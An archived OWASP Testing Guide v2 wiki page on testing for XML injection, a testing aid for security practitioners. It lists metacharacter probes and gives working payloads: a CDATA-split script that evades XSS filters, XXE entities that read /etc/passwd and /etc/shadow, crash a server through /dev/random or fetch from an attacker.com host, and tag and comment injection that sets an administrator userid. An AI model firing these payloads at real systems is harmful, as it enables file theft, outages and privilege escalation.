This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Difference between revisions of "Testing for XML Injection (OTG-INPVAL-008)"
m (XML Injection Testing AoC moved to Testing for XML Injection: naming convention) |
|
(No difference)
| |
Revision as of 14:33, 30 December 2006
[Up]
OWASP Testing Guide v2 Table of Contents
Brief Summary
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an appropriate data validation the test will results positive.
Short Description of the Issue
In this section we describe a pratical example of XML Injection: first we define an xml style communication, and we show how it works. Then we describe the discovery method in which we try to insert xml metacharacters. Once the first step is accomplished, the tester will have some informations about xml structure, so it will be possible to try to inject xml data and tags (Tag Injection).
Black Box testing and example
Let's suppose there is a web application using an xml style communication in order to perform users registration. This is done by creating and adding a new <user> node on an xmlDb file. Let's suppose xmlDB file is like the following:
<?xml version="1.0" encoding="ISO-8859-1"?> <users> <user> <username>gandalf</username> <password>!c3</password> <userid>0<userid/> <mail>[email protected]</mail> </user> <user> <username>Stefan0</username> <password>w1s3c</password> <userid>500<userid/> <mail>[email protected]</mail> </user> </users>
When a user register himself by filling an html form, the application will receive user's data in a standard request which for the sake of simplicity will be supposed to be sent as GET request.
For example the following values:
Username: tony Password: Un6R34kb!e E-mail: [email protected]
Will produce the request:
http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&[email protected]
to the application, which, afterwards, will build the following node:
<user> <username>tony</username> <password>Un6R34kb!e</password> <userid>500<userid/> <mail>[email protected]</mail> </user>
which will be added to the xmlDB:
<?xml version="1.0" encoding="ISO-8859-1"?> <users> <user> <username>gandalf</username> <password>!c3</password> <userid>0<userid/> <mail>[email protected]</mail> </user> <user> <username>Stefan0</username> <password>w1s3c</password> <userid>500<userid/> <mail>[email protected]</mail> </user> <user> <username>tony</username> <password>Un6R34kb!e</password> <userid>500<userid/> <mail>[email protected]</mail> </user> </users>
Discovery
The first step in order to test an application for the presence of a XML Injection
vulnerability, consists in trying to insert xml metacharacters.
A list of xml metacharacters is:
- Single quote: ' - When not sanitized, this character could throw an exception during xml
parsing if the injected value is going to be part of an attribute value in a tag. As an example, let's suppose there is the following attribute:
<node attrib='$inputValue'/>
So, if:
inputValue = foo'
is instantiated and then is inserted into attrib value:
<node attrib='foo''/>
The xml document will be no more well formed.
- Double quote: " - this character has the same means of double quotes and it could be
used in case attribute value is enclosed by double quotes.
<node attrib="$inputValue"/>
So if:
$inputValue = foo"
the substitution will be:
<node attrib="foo""/>
and the xml document will be no more valid.
- Angular parenthesis: > and < - By adding an open or closed angular parenthesis
in a user input like the following:
Username = foo<
the application wil build a new node:
<user>
<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
but the presence of an open '<' will deny the validation of xml data.
- Comment tag: <!--/--> - This sequence of characters is interpreted as the beginning/
end of a comment. So by injecting one of them in Username parameter:
Username = foo<!--
the application wil build a node like the following:
<user>
<username>foo<!--</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>[email protected]</mail>
</user>
which won't be a valid xml sequence.
- Ampersand: & - The ampersand is used in xml syntax to represent XML Entities.
that is, by using an arbitrary entity like '&symbol;' it is possible to map it with a character or a string which will be considered as non-xml text.
For example:
<tagnode><</tagnode>
is well formed and valid, and represent the '<' ASCII character.
If '&' is not encoded itself with & it could be used to test XML injection.
Infact if a input like the following is provided:
Username = &foo
a new node will be created:
<user> <username>&foo</username> <password>Un6R34kb!e</password> <userid>500</userid> <mail>[email protected]</mail> </user>
but as &foo doesn't has a final ';' and moreover &foo; entity is defined nowhere so xml is not valid as well.
- CDATA begin/end tags: <![CDATA[ / ]]> - When CDATA tag is used, every character enclosed by it is not parsed by xml parser.
Often this is used when there are metacharacters inside a text node which are to be considered as text values.
For example if there is the need to represent the string '<foo>' inside a text node it could be used CDATA in the following way:
<node>
<![CDATA[<foo>]]>
</node>
so that '<foo>' won't be parsed and will be considered as a text value.
In case a node is built in the following way:
<username><![CDATA[<$userName]]></username>
the tester could try to inject the end CDATA sequence ']]>' in order to try to invalidate xml.
userName = ]]>
this will become:
<username><![CDATA[]]>]]></username>
which is not a valid xml representation.
- External Entity:
Another test is related to CDATA tag. When the XML document will be parsed, the CDATA value will be eliminated, so it is possible to add a script if the tag contents will be showed in the HTML page. Suppose to have a node containing text that will be displayed at the user. If this text could be modified, as the following:
<html> $HTMLCode </html>
it is possible to avoid input filter by insert an HTML text that uses CDATA tag. For example inserting the following value:
$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
we will obtain the following node:
<html>
<![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
</html>
that in analysis phase will eliminate the CDATA tag and will insert the following value in the HTML:
<script>alert('XSS')</script>
In this case the application will be exposed at a XSS vulnerability. So we can insert some code inside the CDATA tag to avoid the input validation filter.
Entity: It's possible to define an entity using the DTDs. Entity-name as &. is an example of entity. It's possible to specify a URL as entity: in this way you create a possible vulnerability by XML External Entity (XEE). So, the last test to try is formed by the following strings:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
This test could crash the web server (linux system), because we are trying to create an entity with a infinite number of chars. Other tests are the following:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
The goal of these tests is to obtain informations about the structure of the XML data base. If we analyze these errors We can find a lot of useful informations in relation to the adopted technology.
Tag Injection
Once the first step is accomplished, the tester will have some informations about xml structure, so it will be possible to try to inject xml data and tags.
Considering previous example, by inserting the following values:
Username: tony Password: Un6R34kb!e E-mail: [email protected]</mail><userid>0</userid><mail>[email protected]
the application will build a new node and append it to the XML database:
<?xml version="1.0" encoding="ISO-8859-1"?> <users> <user> <username>gandalf</username> <password>!c3</password> <userid>0</userid> <mail>[email protected]</mail> </user> <user> <username>Stefan0</username> <password>w1s3c</password> <userid>500</userid> <mail>[email protected]</mail> </user> <user> <username>tony</username> <password>Un6R34kb!e</password> <userid>500</userid> <mail>[email protected]</mail><userid>0</userid><mail>[email protected]</mail> </user> </users>
The resulting xml file will be well formed and it is likely that the userid tag will be cosidered with the latter value (0 = admin id). The only shortcoming is that userid tag exists two times in the last user node, and often xml file is associated with a schema or a DTD. Let's suppose now that xml structure has the following DTD:
<!DOCTYPE users [ <!ELEMENT users (user+) > <!ELEMENT user (username,password,userid,mail+) > <!ELEMENT username (#PCDATA) > <!ELEMENT password (#PCDATA) > <!ELEMENT userid (#PCDATA) > <!ELEMENT mail (#PCDATA) > ]>
to be noted that userid node is defined with cardinality 1 (userid).
So if this occurs, any simple attack won't be accomplished when xml is validated against the specified DTD.
If the tester can control some value for nodes enclosing userid tag (like in this example), by injection a comment start/end sequence like the following:
Username: tony Password: Un6R34kb!e</password><userid>0</userid><mail>[email protected]
xml database file will be :
<?xml version="1.0" encoding="ISO-8859-1"?> <users> <user> <username>gandalf</username> <password>!c3</password> <userid>0</userid> <mail>[email protected]</mail> </user> <user> <username>Stefan0</username> <password>w1s3c</password> <userid>500</userid> <mail>[email protected]</mail> </user> <user> <username>tony</username> <password>Un6R34kb!e</password><!--</password> <userid>500</userid> <mail>--><userid>0</userid><mail>[email protected]</mail> </user> </users>
This way original userid tag will be commented out and the one injected will be
parsed in compliance to DTD rules.
The result is that user 'tony' will be logged with userid=0 ( which could be an administrator uid)
References
Whitepapers
- [1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt
OWASP Testing Guide v2
Here is the OWASP Testing Guide v2 Table of Contents
